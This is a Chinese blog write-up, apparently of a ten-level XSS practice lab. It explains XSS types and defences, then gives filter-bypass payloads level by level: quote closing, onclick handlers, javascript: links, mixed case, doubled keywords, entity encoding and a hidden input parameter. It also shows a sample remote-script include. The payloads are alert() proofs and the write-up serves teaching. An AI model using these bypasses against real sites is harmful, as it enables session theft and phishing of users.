xss靶场1-10关

跨站脚本攻击(XSS)的利用

XSS(Cross-Site Scripting)

跨站脚本攻击(Cross Site Scripting)的缩写,为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的 。

跨站: 从字面来分析,这个“跨”实际上是浏览器的特性,而不是缺陷,造成“跨”这样的假象是因为绝大多数XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源。因为很多时候输入内容是有长度限制的,真正的XSS攻击并不是一段毫无意义的弹窗代码,弹窗是为了验证漏洞的是否存在。

例:<script src="http://www.secevery.com/xss.js"></script>

脚本:也就是我们通常说的JavaScript和ActionScript。如上例所示,xss.js是我们能够控制的一个文件,如果我们使此脚本文件在目标网站加载,脚本文件内容相当于嵌入目标页面上下文环境中。此时我们可以通过修改脚本文件的内容来达到预期的攻击。

XSS漏洞是发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就会发生 。

形象的解释:想象你在一个购物中心的留言板上留了一张便条,内容是:在A商店有特价商品,欢迎大家来购买。然而,有个坏人在你的便条里偷偷藏了一个小精灵,这个小精灵会在其他人看到你的便条时,突然飞出来,搞破坏,比如将别人的购物车里的商品都换成了垃圾,或者指向了一家不怎么好的商店,让大家误以为那是特价商品的地方。

这个小精灵就像是在网站上的恶意代码,你的便条就像是网页中的留言,坏人就像是攻击者。虽然你是真诚地提供信息,但坏人却在你不知情的情况下混入了一些危险的东西。这种情况就好比在网站中发生的跨站脚本攻击(XSS),攻击者通过在网页上注入恶意代码,利用了用户的信任或对页面内容的好奇心,来偷取信息或者破坏用户的浏览体验。

XSS漏洞危害

XSS(跨站脚本攻击)可能导致多种危害,包括但不限于以下情况:


1. **获取用户或管理员的Cookie:** 攻击者可以利用XSS注入恶意脚本,以窃取用户或管理员的Cookie信息。这些Cookie通常包含身份验证凭据或会话标识符,允许攻击者冒充用户或管理员,执行未经授权的操作。

2. **XSS蠕虫(XSS Worm):** 攻击者可以编写恶意脚本,利用XSS漏洞,将恶意代码植入到受影响的网页中。当其他用户访问包含恶意代码的页面时,他们的浏览器也可能受到攻击并成为传播恶意代码的工具,导致蠕虫式传播,影响更多用户。

3. **钓鱼攻击(Phishing):** 攻击者可以利用XSS漏洞在受影响的网站上植入虚假的登录表单或弹出窗口,诱导用户输入敏感信息(如用户名、密码、信用卡信息等)。这种攻击方法可通过社会工程学手段获得用户敏感信息。

4. **挂马(Defacement):** 攻击者可以利用XSS漏洞篡改网页内容,修改网站的外观或显示虚假信息。这可能损害网站的信誉和可信度,影响用户对网站的信任,并导致信息泄露或混淆。

对于开发者和网站管理员来说,预防XSS攻击至关重要。他们可以采取以下措施来减少XSS攻击的风险:

- 实施严格的输入验证和过滤,不信任任何来自用户的输入数据。
- 对用户输入进行输出转义,确保在将数据显示在网页上之前,将特殊字符转义为HTML实体,防止被当做HTML或JavaScript代码执行。
- 使用内容安全策略(CSP),限制页面加载的内容源,并限制脚本执行,有效地减少XSS攻击的可能性。

通过这些预防措施,可以降低网站和应用程序受到XSS攻击的风险,保护用户的数据安全和隐私。

XSS攻击可以分为三种主要类型:

存储型XSS(Stored XSS): 攻击者将恶意脚本存储在网站的数据库中,例如论坛帖子、留言板、评论或用户个人资料等位置。当其他用户访问包含这些恶意脚本的页面时,服务器从数据库中检索并返回这些恶意内容,使得浏览器执行其中的恶意脚本。

反射型XSS(Reflected XSS): 攻击者通过欺骗用户点击恶意链接,将恶意脚本作为参数发送给服务器。服务器在处理请求时,将恶意内容反射到响应中,用户浏览器执行其中的恶意脚本。(2.3.4.6.7.8.9)

DOM型XSS(DOM-based XSS): 这种类型的XSS攻击不经过服务器端,而是直接在客户端(用户浏览器)中执行。攻击者可以通过修改DOM来利用漏洞,导致恶意脚本被执行。(1.5.10)

在一般情况下,DOM型XSS可能被认为是最难防范和检测的一种XSS类型之一。这是因为DOM型XSS攻击不依赖于数据在服务器和客户端之间的传输,而是直接利用客户端中的漏洞执行恶意脚本。由于DOM型XSS攻击不在服务器端产生,传统的服务器端过滤和验证措施很难有效防范。

    第一关level-1(无任何过滤)

    第二关level-2(闭合标签)

    第三关level-3(单引号闭合+js事件函数绕过)

    第四关level-4(双引号闭合+js事件函数绕过)

    第五关level-5(js伪协议)

    第六关level-6(大小写混合绕过)

    第七关level-7(双写绕过)

    第八关level-8(编码绕过)

    第九关level-9(检测关键字进行替换)

    第十关level-10(隐藏信息,隐藏type)

1.可以看到这一个页面是传一个参数给name 我们可以试一试这里是否存在xss漏洞

2.继续试一试<script>alert(1)</script>

发现不可以接着我们查看源代码

发现输入的<script>alert()</script>

输入的特殊符号被实体转义了我们只需要闭合掉双引号即可,构造payload

">  <script>alert(1)</script>  <"

3(单引号闭合+js事件函数绕过)

先输入12365查看源代码

发现是单引号闭合

因此接着输入'> <script>alert()</script> <'

 发现两处都将<,>转义了。猜测服务器端在这两处都用htmlspecialchars()函数进行了处理

浏览器中有一些事件可以执行js代码,这里可以使用onclick事件

观察源代码为单引号闭合,把value闭合掉构造playload

' onclick ='javascript:alert(1)'//在提交后,没有立刻弹出这里还需要点一下文本框让事件触发

4.与第三关差不多(双引号引号闭合+js事件函数绕过)

" οnclick="javascript:alert()

第五关level-5(js伪协议)

输入第四关的代码

发现onclick被添加了下划线

script过滤了,onclick也过滤了

发现script和on都被替换, 这一关我们利用<a>标签绕过进行绕过。

payload:

"> <a href=javascript:alert('xss')>xss</a>//

6(大小写混合绕过)

通过str_replace()函数进行字符串替换,将可能被利用进行跨站脚本攻击的字符串全部替换成无害的字符串。最后通过htmlspecialchars()函数进行HTML字符编码,确保用户输入的关键字不会被解析为HTML代码,以防止跨站脚本攻击。

payload:

"> <a Href=javascript:alert('xss')>xss</a>//

"> <ScripT>alert('1')</ScRipT>

......

7(双写绕过)

同样的方法,还是插入我们测试过的js代码,继续使用上一关的js代码

插入后发现,还是未果

payload:

"> <a hrehreff=javascrscriptipt:alert('xss')>xss</a>//

"><sscriptcript>alert('xss')</sscriptcript>

......

8(编码绕过)

查阅百度编码绕过

我们分析源码可以发现:

没有过滤:’ > < % & #,

过滤了:" src on script data。

输出点在a标签内,href属性中,属性中双引号被转换成HTML实体,无法截断属性,很明显,我们想到了协议绕过javascript:alert,由于script关键字被过滤,伪协议后面可以使用html的实体编码。

 javascript:alert('xss')

我们分析源码可以发现:

没有过滤:’ > < % & #,

过滤了:" src on script data。

输出点在a标签内,href属性中,属性中双引号被转换成HTML实体,无法截断属性,很明显,我们想到了协议绕过javascript:alert,由于script关键字被过滤,伪协议后面可以使用html的实体编码。

payload:

javascript:alert('xss')

9(检测关键字进行替换)

尝试使用第八关的语句进行测试,但该次报错信息并没有直接显示,而是通过中文提示信息进行提示

查看源码后发现不仅进行了一系列关键字的过滤,还添加了strpos函数进行验证。这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://,但是并没有过滤HTML实体编码,所以我们还是使用编码绕过。

这一关对输入内容进行了检测,内容必须要有http://,因此我们在payload后面加上http://并用注释符注释掉即可payload:

javascript:alert('xss')//http://

q

10(隐藏信息,隐藏type))

查看源代码

类型是隐藏的,说明我们可能需要把hidden改成text

我们先构造布尔真值表达式,用1,加上且符号&,进行脚本插入

我们把t_link,t_history,t_sort这三个分别插入脚本后,

<input name="t_sort" value=οnclick="javascript:alert(/xss/) type="hidden">

发现只有这个标签有变化

所以我们最终输入的是

keyword=1&οnclick="javascript:alert(/xss/)

然后我们按F12控制打开

这一看,不仅看出显示位有特殊字符转义,还看到了页面偷藏的三个输入框,现在我们不仅能给keyword传参,还能给三个input传参

4.尝试给t_link传参,再次打开源码,发现其值没有任何动静,多次尝试也没有反应

5.为了防止其它框也出现累死情况,对三个框同时进行了传参,甚至还给t传了参

  `?keyword=10&t_link=1&t_history=2&t_sort=3&t=4`

只有t_sort接受了我的参数,那也就是说可以从t_sort下手了

开始动手,要想使用这个标签就要注意注释掉后面原有的hidden类型,把它改为其它类型,比如说button类型,写payload的过程中传了几次参数发现页面对这个值并没有太多的过滤,我们就可以为所欲为了

上payload

  `?keyword=1&t_sort=1" οnclick="alert(1)" type=button >//`

在这个网页安全挑战中,我学到了许多关于常见网络安全漏洞和攻击技术的知识。每个关卡都代表了不同级别的安全问题,让我了解了如何发现和利用这些漏洞。

以下是我在完成这些挑战中的总结:

过滤与验证的重要性: 漏洞经常出现在缺乏输入验证和过滤的地方。应用程序应该对用户输入进行适当的验证和过滤,防止恶意代码注入。

特殊字符的处理: 特殊字符经常被利用来绕过过滤器,进行攻击。了解如何处理和过滤特殊字符对保护网站安全非常重要。

JavaScript安全问题: 一些挑战涉及利用JavaScript来执行恶意操作。掌握如何防范恶意JavaScript代码的注入对保护网站安全至关重要。

协议和编码: 了解各种协议(如伪协议)和编码(如URL编码、Unicode编码)的工作原理,以及如何防范对应的攻击。

学习攻击者思维: 通过模拟攻击者的思维和行为,可以更好地理解潜在的漏洞和可能的安全风险,从而更好地保护自己的应用程序和网站。

安全意识和持续学习: 网络安全是一个不断演变的领域,保持安全意识和持续学习新的安全技术和方法是非常重要的。

学习XSS攻击给我的收获远不止于理论知识和技能提升,更深层次的影响包括:

1. **创新思维的培养:** 通过研究XSS攻击和防范方法,激发了我的创新思维。在解决XSS漏洞的过程中,需要创造性地思考,找出可能的攻击路径和解决方案。

2. **责任与义务感的加强:** 了解到安全漏洞对个人隐私和系统安全的危害后,我更加强烈地意识到自己在网络安全领域的责任和义务,有责任为保障用户安全贡献自己的一份力量。

3. **团队合作与沟通技能的提升:** 在学习XSS攻击时,常需要与同学或团队共同解决问题。这促进了我在团队合作、信息共享和有效沟通方面的能力提升。

4. **自我驱动和持续学习意识的养成:** 网络安全领域是一个不断演进和变化的领域,学习XSS攻击只是开始,更重要的是持续学习和不断跟进新的安全技术和趋势,这培养了我自我驱动的学习意识。

5. **面对挑战的勇气和耐心:** 解决XSS漏洞或学习防范XSS攻击并不总是轻松的,可能需要花费大量时间和精力。这让我养成了面对挑战时的勇气和耐心,不轻言放弃。
XSS攻击的学习不仅仅是技术层面的提升,更是一次全面的成长和学习体验。在这个过程中,我逐渐认识到网络安全是一个永无止境的战场,不仅需要掌握技术知识,还需要培养责任感、创新思维、团队合作精神以及持续学习的态度。

这段学习经历使我明白了信息安全对个人、组织以及整个社会的重要性。通过学习XSS攻击,我了解到保障网络安全需要不断进步、持续投入并与时俱进。它强化了我的责任感,让我意识到要成为一名合格的网络安全从业者,必须始终保持警惕,并努力追求技术和专业的完善。

在这个过程中,我不仅获取了理论知识和技术技能,更重要的是塑造了积极进取、不断学习的态度。我愿意将这份经历作为一个起点,持续投入到网络安全领域,不断提升自己的技术水平,为网络安全做出更大的贡献,保护用户的隐私和数据安全,共同维护一个更安全的网络环境。

  • 26
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值